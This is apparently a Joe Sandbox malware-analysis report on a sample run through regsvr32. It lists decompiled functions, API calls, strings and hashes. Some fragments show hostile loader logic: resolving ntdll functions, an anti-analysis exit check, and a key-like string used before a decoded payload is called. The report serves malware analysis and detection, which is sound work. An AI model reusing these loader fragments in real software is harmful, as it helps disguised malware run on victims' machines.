									L34:
									_t74 = E00437E20(0x2e, _t130, _t211);
									if(_t130 != 0) {
										_t26 = _t210 + 3; // 0x3
										E00437D50(_t74, _t26, _t130);
									}
									goto L36;
								}
								 *_t210 = 0x415246;
								goto L34;
							}
							 *_t210 = 0x474e45;
							goto L34;
						}
						 *_t210 = 0x554e45;
						goto L34;
					}
				}
			}

0x0043f160
0x0043f160
0x0043f160
0x0043f160
0x0043f160
0x0043f160
0x0043f160
0x0043f173
0x0043f17b
0x0043f182
0x0043f185
0x0043f188
0x0043f18b
0x0043f18e
0x0043f19d
0x0043f190
0x0043f193
0x0043f198
0x0043f198
0x0043f1a6
0x0043f1ab
0x0043f1b5
0x0043f1ca
0x0043f1d0
0x0043f1d3
0x0043f1dd
0x0043f1e2
0x0043f1ec
0x0043f28a
0x0043f292
0x00000000
0x0043f1f2
0x0043f1f2
0x00000000
0x0043f1f2
0x0043f1f5
0x0043f1f5
0x0043f1fc
0x0043f1fe
0x0043f203
0x0043f20a
0x0043f20a
0x0043f215
0x0043f23b
0x0043f23e
0x0043f2c3
0x0043f2c7
0x0043f2f0
0x0043f2f5
0x0043f2f9
0x0043f2cf
0x0043f2cf
0x0043f2d3
0x0043f314
0x0043f314
0x0043f322
0x0043f327
0x0043f32b
0x0043f2db
0x0043f2db
0x0043f2df
0x0043f34a
0x0043f34a
0x0043f358
0x00000000
0x0043f358
0x00000000
0x0043f2e1
0x0043f32d
0x0043f32d
0x0043f33b
0x0043f340
0x0043f344
0x00000000
0x00000000
0x00000000
0x0043f344
0x0043f2d5
0x0043f2d5
0x0043f2d9
0x00000000
0x00000000
0x00000000
0x0043f2d9
0x0043f2fb
0x0043f2fb
0x0043f309
0x0043f30e
0x0043f312
0x00000000
0x00000000
0x00000000
0x0043f312
0x0043f2c9
0x0043f2cd
0x00000000
0x00000000
0x00000000
0x0043f2cd
0x0043f240
0x00000000
0x0043f217
0x0043f21a
0x0043f248
0x0043f24d
0x0043f258
0x0043f260
0x0043f263
0x0043f26b
0x0043f270
0x0043f277
0x0043f279
0x0043f65a
0x0043f65a
0x0043f660
0x0043f674
0x0043f679
0x0043f67b
0x0043f682
0x0043f68e
0x0043f691
0x0043f696
0x0043f69d
0x0043f6a1
0x0043f6ce
0x0043f6d3
0x0043f6dd
0x0043f6e2
0x0043f6e4
0x0043f720
0x0043f720
0x0043f725
0x0043f728
0x0043f72a
0x0043f731
0x0043f73d
0x0043f749
0x0043f749
0x0043f750
0x0043f757
0x0043f75c
0x0043f75c
0x0043f75e
0x0043f761
0x0043f77b
0x0043f77b
0x0043f6e6
0x0043f6ef
0x0043f6f4
0x0043f6f6
0x0043f7c1
0x0043f7c6
0x0043f7c8
0x00000000
0x00000000
0x0043f7d4
0x0043f6ad
0x0043f6ad
0x0043f6b2
0x0043f6b9
0x0043f6b9
0x0043f6c4
0x00000000
0x0043f6c4
0x0043f6fc
0x0043f703
0x0043f70d
0x00000000
0x0043f70d
0x0043f6a3
0x00000000
0x0043f6a3
0x0043f684
0x0043f688
0x00000000
0x0043f714
0x00000000
0x0043f688
0x0043f226
0x0043f22e
0x0043f2a6
0x0043f2ab
0x0043f2ae
0x0043f36c
0x0043f371
0x0043f374
0x0043f388
0x0043f38d
0x0043f390
0x0043f3b6
0x0043f3c7
0x0043f632
0x0043f639
0x0043f639
0x0043f645
0x0043f64a
0x0043f651
0x0043f658
0x0043f658
0x00000000
0x0043f658
0x0043f3d0
0x0043f609
0x0043f610
0x0043f61a
0x0043f61f
0x0043f621
0x0043f623
0x0043f77c
0x0043f77f
0x0043f788
0x0043f794
0x0043f794
0x0043f7a2
0x0043f7aa
0x00000000
0x0043f7aa
0x0043f629
0x00000000
0x0043f3ea
0x0043f3ed
0x0043f3f9
0x0043f3fe
0x0043f405
0x0043f413
0x0043f418
0x0043f41b
0x0043f422
0x0043f429
0x0043f430
0x0043f437
0x0043f43e
0x0043f445
0x0043f44c
0x0043f453
0x0043f45a
0x0043f461
0x0043f468
0x0043f46f
0x0043f476
0x0043f47d
0x0043f484
0x0043f48b
0x0043f48d
0x0043f494
0x0043f49b
0x0043f550
0x0043f550
0x0043f556
0x00000000
0x00000000
0x0043f558
0x0043f55b
0x0043f58a
0x0043f58f
0x0043f592
0x0043f596
0x0043f598
0x0043f5b2
0x0043f5b4
0x0043f5cd
0x0043f5cf
0x0043f5e7
0x0043f5e9
0x0043f5f3
0x0043f5f8
0x0043f5fb
0x0043f5fd
0x0043f601
0x0043f4b0
0x0043f4b0
0x0043f4b7
0x0043f4be
0x0043f4c5
0x0043f4cc
0x0043f4d3
0x0043f4da
0x0043f4e1
0x0043f4e8
0x0043f4ef
0x0043f4f6
0x0043f4fd
0x0043f504
0x0043f50b
0x0043f512
0x0043f519
0x0043f520
0x0043f523
0x0043f550
0x0043f550
0x0043f556
0x00000000
0x00000000
0x00000000
0x0043f556
0x00000000
0x0043f550
0x0043f55f
0x0043f7e3
0x0043f7f2
0x0043f7fc
0x0043f801
0x0043f803
0x0043f80b
0x0043f80b
0x0043f815
0x0043f81a
0x0043f821
0x0043f826
0x0043f830
0x0043f835
0x0043f837
0x00000000
0x00000000
0x0043f842
0x00000000
0x0043f842
0x0043f805
0x0043f809
0x0043f851
0x00000000
0x0043f851
0x00000000
0x0043f809
0x0043f565
0x0043f568
0x0043f56a
0x0043f571
0x00000000
0x0043f530
0x0043f537
0x00000000
0x0043f537
0x0043f550
0x0043f3d0
0x0043f392
0x0043f398
0x0043f3a0
0x0043f3a8
0x0043f3aa
0x0043f3b1
0x0043f3b1
0x00000000
0x0043f3a8
0x0043f376
0x00000000
0x0043f376
0x0043f2b4
0x00000000
0x0043f2b4
0x0043f230
0x00000000
0x0043f230
0x0043f215

APIs

EnterCriticalSection.KERNEL32 ref: 0043F1A6
LeaveCriticalSection.KERNEL32 ref: 0043F3F9
EnterCriticalSection.KERNEL32 ref: 0043F413
IsValidLocale.KERNEL32 ref: 0043F674
SetThreadLocale.KERNEL32 ref: 0043F691
LeaveCriticalSection.KERNEL32 ref: 0043F6C4
LeaveCriticalSection.KERNEL32 ref: 0043F703
SetLastError.KERNEL32 ref: 0043F70D
SetLastError.KERNEL32 ref: 0043F720
LeaveCriticalSection.KERNEL32 ref: 0043F757
LeaveCriticalSection.KERNEL32 ref: 0043F7A2
GetCPInfo.KERNEL32 ref: 0043F7C1
IsValidLocale.KERNEL32 ref: 0043F7FC
SetThreadLocale.KERNEL32 ref: 0043F815
SetLastError.KERNEL32 ref: 0043F842
SetLastError.KERNEL32 ref: 0043F851

Strings

fr_FR, xrefs: 0043F362
LC_NUMERIC, xrefs: 0043F302, 0043F5BC
LC_TIME, xrefs: 0043F31B, 0043F5A0
LC_CTYPE, xrefs: 0043F351, 0043F583
de_DE, xrefs: 0043F37E
en_GB, xrefs: 0043F29C
LC_MONETARY, xrefs: 0043F2E6, 0043F5D6
LC_COLLATE, xrefs: 0043F334, 0043F494
en_US, xrefs: 0043F21C

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$ErrorLastLocale$EnterThreadValid$Info
String ID: LC_COLLATE$LC_CTYPE$LC_MONETARY$LC_NUMERIC$LC_TIME$de_DE$en_GB$en_US$fr_FR
API String ID: 2849378158-2816315080
Opcode ID: c30373f4ef01e4295a6435b6d53dbded5a2ad0834b8553aabd440f9870cfc8be
Instruction ID: eb35e75115b9584e4d3042eb8a0c31a0fc2985bfd2a615cfd64a373cea489c6c
Opcode Fuzzy Hash: c30373f4ef01e4295a6435b6d53dbded5a2ad0834b8553aabd440f9870cfc8be
Instruction Fuzzy Hash: 1AF19060A04AC596FB259F2AEC563E62361BF88749F446027DE495B363EF3CC54AC309

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001709C Relevance: 11.5, Strings: 9, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 000000018001725F
W(P, xrefs: 000000018001727F
xD, xrefs: 00000001800170C9
k|, xrefs: 0000000180017446
_L, xrefs: 00000001800174B0
U[, xrefs: 00000001800172BB
#Vk, xrefs: 000000018001731C
8, xrefs: 0000000180017172
_o, xrefs: 00000001800170C1

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #Vk$$$8$U[$W(P$_L$_o$k|$xD
API String ID: 0-383957222
Opcode ID: 3fcaeefa4f3a6a4b2ee736f46ed5ab809e6beb52b42741c15c6946b5de4ec314
Instruction ID: bc2b9b54e165994913ae8633636cafd159a2319cfc05fdf7f9593bbb241946d5
Opcode Fuzzy Hash: 3fcaeefa4f3a6a4b2ee736f46ed5ab809e6beb52b42741c15c6946b5de4ec314
Instruction Fuzzy Hash: 5CC1CD71519780AFD3C9CF28C58A95BBBF0FB94754F906A1DF882862A0D7B4D909CF02

Uniqueness

Uniqueness Score: -1.00%

Function 00401730 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ntdll.dll, xrefs: 0040176B
>K_1mZvpi2i%FY76DhWZFJOo&UE$pFeDpE9l85^7, xrefs: 00401BA4
kernel32.dll, xrefs: 00401857
VNRKGF, xrefs: 00401B31
MZP, xrefs: 00401B4B

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: >K_1mZvpi2i%FY76DhWZFJOo&UE$pFeDpE9l85^7$MZP$VNRKGF$kernel32.dll$ntdll.dll
API String ID: 0-918815756
Opcode ID: 584083c728677f4f607b5e6adc5e6c711f949d2665a6623fb904ca8195ad3986
Instruction ID: aa5c07a5f9b08c0224b477cbf3beacf17754ae17d55c03335d29ab53b3039c4f
Opcode Fuzzy Hash: 584083c728677f4f607b5e6adc5e6c711f949d2665a6623fb904ca8195ad3986
Instruction Fuzzy Hash: C6D110777056A086DB24CF25D848BAE3BB2F358B84F4A8127DF49633A4DB39C949C744

Uniqueness

Uniqueness Score: -1.00%

Function 00401C80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 27%

			E00401C80(void* __edx, long long __rcx) {
				long long* _t27;
				long long* _t31;
				long long* _t36;
				long long _t37;
				void* _t38;
				void* _t39;
				void* _t40;

				_t38 = _t39 + 0x30;
				_t37 = __rcx;
				if(__edx == 1) {
					_t27 =  *[gs:0x60];
					 *((long long*)(_t38 - 0x10)) = 0;
					 *((long long*)(_t38 - 8)) = 0;
					LoadLibraryW(??);
					_t31 = _t27;
					GetProcAddress(??, ??);
					_t36 = _t27;
					r8d = 0;
					if( *_t36() == 0) {
						L3:
						ExitProcess();
					} else {
						r8d = 0;
						if( *_t36() == 0) {
							goto L3;
						}
					}
					 *0x452100 = 0;
					 *0x452104 = 0;
					 *0x452108 = 0;
					 *0x452110 = 0;
					 *0x45210c = 0;
					 *0x452114 = 0;
					 *0x460320 = 0xa0951af;
					E00401730(0x415, _t31, _t38 - 8, _t40); // executed
					E00401730(0x1045, _t31, _t38 - 0x10, _t40); // executed
					 *0x4602f8 = 0;
					 *0x460308 = 0;
					 *0x4602f0 = _t37;
					 *0x4602f8 = 1;
					 *0x460300 =  *((intOrPtr*)(_t38 - 0x10));
					 *((intOrPtr*)(_t38 - 8))();
				}
				return 1;
			}

0x00401c87
0x00401c8c
0x00401c92
0x00401c98
0x00401ca1
0x00401ca9
0x00401cb8
0x00401cc4
0x00401cc7
0x00401ccc
0x00401cd3
0x00401cda
0x00401ce9
0x00401cee
0x00401cdc
0x00401ce0
0x00401ce7
0x00000000
0x00000000
0x00401ce7
0x00401cf3
0x00401cfd
0x00401d07
0x00401d11
0x00401d1b
0x00401d25
0x00401d2f
0x00401d42
0x00401d50
0x00401d55
0x00401d60
0x00401d72
0x00401d79
0x00401d87
0x00401d8e
0x00401d8e
0x00401d9d

APIs

LoadLibraryW.KERNEL32 ref: 00401CB8
GetProcAddress.KERNEL32 ref: 00401CC7
ExitProcess.KERNEL32 ref: 00401CEE

Strings

ZwOpenSymbolicLinkObject, xrefs: 00401CBD
ntdll.dll, xrefs: 00401CB1

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: AddressExitLibraryLoadProcProcess
String ID: ZwOpenSymbolicLinkObject$ntdll.dll
API String ID: 881411216-2262421573
Opcode ID: 9e96d7bd63f047a8a4f8d8b064f262c35a10dff1023597b564c94de9cf1b12b4
Instruction ID: db1909ea48abd36147696056b9485cab6779c51b1b6782945cd837e5f247ac1f
Opcode Fuzzy Hash: 9e96d7bd63f047a8a4f8d8b064f262c35a10dff1023597b564c94de9cf1b12b4
Instruction Fuzzy Hash: 0A2177B2A10B2087F704DF66E96439A23A1B742389F40802ADF19077A1EFBE84498758

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007D6C Relevance: 7.7, Strings: 6, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

3`d!, xrefs: 0000000180007DD8
)y_, xrefs: 0000000180007F29
)s, xrefs: 0000000180007FA2
=, xrefs: 0000000180007D8E
GX, xrefs: 0000000180007D80
lo, xrefs: 0000000180007D79

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )s$)y_$3`d!$GX$lo$=
API String ID: 0-308291206
Opcode ID: fde852a4840d2e352ca3eb00ee2f42bd1f44b3ef619014c8955ce582878b56b5
Instruction ID: df7a36a89805b6f3e9828853b8c448656e700952b35365b2c72a39b8d2c2201e
Opcode Fuzzy Hash: fde852a4840d2e352ca3eb00ee2f42bd1f44b3ef619014c8955ce582878b56b5
Instruction Fuzzy Hash: 76914F7050074D8BEB49CF24C88A6DE3FA0FB58398F65422DFC4A96290D778D699CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A000 Relevance: 7.7, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Z, xrefs: 000000018001A0BB
;, xrefs: 000000018001A11E
F8, xrefs: 000000018001A125
KT, xrefs: 000000018001A0FA
/Q, xrefs: 000000018001A056
F, xrefs: 000000018001A03A

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /Q$;$F8$KT$F$Z
API String ID: 0-1951868783
Opcode ID: 1dba0b1f5f7bf25f1a94850d34f322108ec8c8f6f4ebff0ec6ff6f465611ff96
Instruction ID: 821f4166d161dfabd175a85bfba61b4f9b06883a313be929fc92099cfc9ae604
Opcode Fuzzy Hash: 1dba0b1f5f7bf25f1a94850d34f322108ec8c8f6f4ebff0ec6ff6f465611ff96
Instruction Fuzzy Hash: 0F6156B0E107098FDB48CFA8D88A9DEBBB0FB58354F10821DE846A7290D7749995CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000CC14 Relevance: 4.1, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\, xrefs: 000000018000D130
c2&, xrefs: 000000018000CD1F
0c, xrefs: 000000018000CEBC

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0c$\$c2&
API String ID: 0-1001447681
Opcode ID: 77759940156d6b552e519a0717cd81e7aca00c005acef3af4df6aa899143340c
Instruction ID: 78f41630828a1f5dd45d6f48550f9a2a6d6a6ed0de92af48bf53f72838f6da33
Opcode Fuzzy Hash: 77759940156d6b552e519a0717cd81e7aca00c005acef3af4df6aa899143340c
Instruction Fuzzy Hash: B902E5711083C88BEBFECF64C889BDA7BADFB44708F105119EA4A9A298DB745744CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008BC8 Relevance: 4.0, Strings: 3, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

N5, xrefs: 0000000180008C11
.f, xrefs: 0000000180008E08
M, xrefs: 0000000180008F2D

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .f$M$N5
API String ID: 0-1477915503
Opcode ID: 8d1225c7070edb932c8417e1bce8c420d426fdb0b99d3cf29e08fc417a96cbbc
Instruction ID: 0cf80a7169fbd2fdf0daf2dd1624a4a07d8421ae3559c1c40cc5df3e02a89e16
Opcode Fuzzy Hash: 8d1225c7070edb932c8417e1bce8c420d426fdb0b99d3cf29e08fc417a96cbbc
Instruction Fuzzy Hash: B4A151701197489BD7E8DF28C4C5B9EBBE0FB94344F505A1DF8869B2A0CB74D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018FC8 Relevance: 1.5, Strings: 1, Instructions: 279COMMON

Download Yara Rule

Strings

A]jN, xrefs: 0000000180019216

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: A]jN
API String ID: 0-1761522205
Opcode ID: 43702ad7ebc926fc841c635a5fc759035faaa4ad2df4e1132c12a3653d9fa51d
Instruction ID: 66d1263c0086ea815bd8b898a687f585ab37a13f194f3ef2ff9689d1b2d875a5
Opcode Fuzzy Hash: 43702ad7ebc926fc841c635a5fc759035faaa4ad2df4e1132c12a3653d9fa51d
Instruction Fuzzy Hash: 3FD1E4B1D0060A8FDF48DFA8C48A5EEBBB1FB58304F11822DD556BB290D7785A46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000263C Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

C, xrefs: 0000000180002836

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: C
API String ID: 0-3705061908
Opcode ID: 762938c9acd95b28f04d4807fb9ee99926cdc57d0bffae28badc71fa18101beb
Instruction ID: 1f26ee1d61cdc30b3c2e75dbccca50d7c30b50278a9d60cfa5f82a2957676dd2
Opcode Fuzzy Hash: 762938c9acd95b28f04d4807fb9ee99926cdc57d0bffae28badc71fa18101beb
Instruction Fuzzy Hash: 0761E07050C7848BD369DF28C18A54FBBF0FBD6748F000A1DF68A862A0D7B6D958CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013988 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE ref: 0000000180013AF8

Strings

li, xrefs: 0000000180013A44

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: li
API String ID: 963392458-3170889640
Opcode ID: df447d1959c748b5d8cf34ebfef7c4b31b83bdbcb52bf56f40cb8f0245456118
Instruction ID: 8e11a4d39ca985a0995e1ea11756a4dd13d0ddb6a9316c5e521eceb689c7f111
Opcode Fuzzy Hash: df447d1959c748b5d8cf34ebfef7c4b31b83bdbcb52bf56f40cb8f0245456118
Instruction Fuzzy Hash: 3A41E77091CB848FEBA4DF18D0C97DAB7E0FB98315F10495DE488C7296CB789984CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00401DA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 00401E45

Strings

`, xrefs: 00401E19

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: ExitProcess
String ID: `
API String ID: 621844428-2679148245
Opcode ID: a5f67577f4f975c5070fd2da058a078e3cc204642edc8f39634a10060d3e011d
Instruction ID: bfd13aeb5915da2dff666e0a917086d1b8f3ad3d243f761575b89525198465ac
Opcode Fuzzy Hash: a5f67577f4f975c5070fd2da058a078e3cc204642edc8f39634a10060d3e011d
Instruction Fuzzy Hash: 1E11CE73A4166087D7249F259450BE97BA2F7C9FA1F4A4132DE8A63351EA38988AC704

Uniqueness

Uniqueness Score: -1.00%

Function 00448980 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00448980(void* __esi, long long __rax, long long __rcx, void* __rdx, void* __r9) {
				void* _t20;
				void* _t22;
				long long _t39;
				void* _t40;
				void* _t41;

				_t40 = _t41 + 0x30;
				_t20 = r8d;
				_t39 = __rcx;
				 *((intOrPtr*)(_t40 - 0x10)) = 1;
				 *((long long*)(_t40 - 8)) = __rcx;
				if(_t20 == 1) {
					 *0x46aa10 = __rax + 1;
					if( *0x46aa10 == 0) {
						L0044D2B8();
						 *0x46a980 = __rax;
						E004391E0( *((intOrPtr*)(__rcx + 0x88)));
						E004486D0(0, _t40 - 0x10); // executed
					}
				}
				_t22 =  *((intOrPtr*)(_t39 + 0x30))();
				if(_t20 == 0) {
					 *0x46aa10 =  *0x46aa10 - 1;
					if( *0x46aa10 == 0) {
						E00447120();
						E004486D0(1, _t40 - 0x10);
						if( *0x46a980 != 0) {
							FreeEnvironmentStringsA();
							 *0x46a980 = 0;
						}
					}
				}
				return _t22;
			}

0x0044898a
0x00448992
0x00448998
0x0044899b
0x004489a2
0x004489a9
0x004489b4
0x004489bc
0x004489be
0x004489c3
0x004489d1
0x004489dc
0x004489dc
0x004489bc
0x004489ec
0x004489f0
0x004489f2
0x004489f8
0x004489fd
0x00448a0b
0x00448a1a
0x00448a1c
0x00448a21
0x00448a21
0x00448a1a
0x004489f8
0x00448a38

APIs

FreeEnvironmentStringsA.KERNEL32 ref: 00448A1C

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID: EnvironmentFreeStrings
String ID:
API String ID: 3336370858-0
Opcode ID: 6216d6dd2ad98e1607dd4661394673a1ee1f2148b18d1e522f78b0bd5cfaa91c
Instruction ID: 8047bb8689668f1308835f4db60db05d83f17dd569f18ecb69375c7857f68668
Opcode Fuzzy Hash: 6216d6dd2ad98e1607dd4661394673a1ee1f2148b18d1e522f78b0bd5cfaa91c
Instruction Fuzzy Hash: AA11E576B11D1046F710EB62E80036EB360BB95798F45492BDE0967B10EFBDC816C74A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00440BD0 Relevance: 158.6, APIs: 105, Instructions: 1095COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440BF8
GetLocaleInfoA.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440C1F
SetLastError.KERNEL32(?,?,?,?,00000000,00000001,0045EFF8,?,?,000000FF,00000000,?,00440124,00000000,000000FF,?), ref: 00440C33
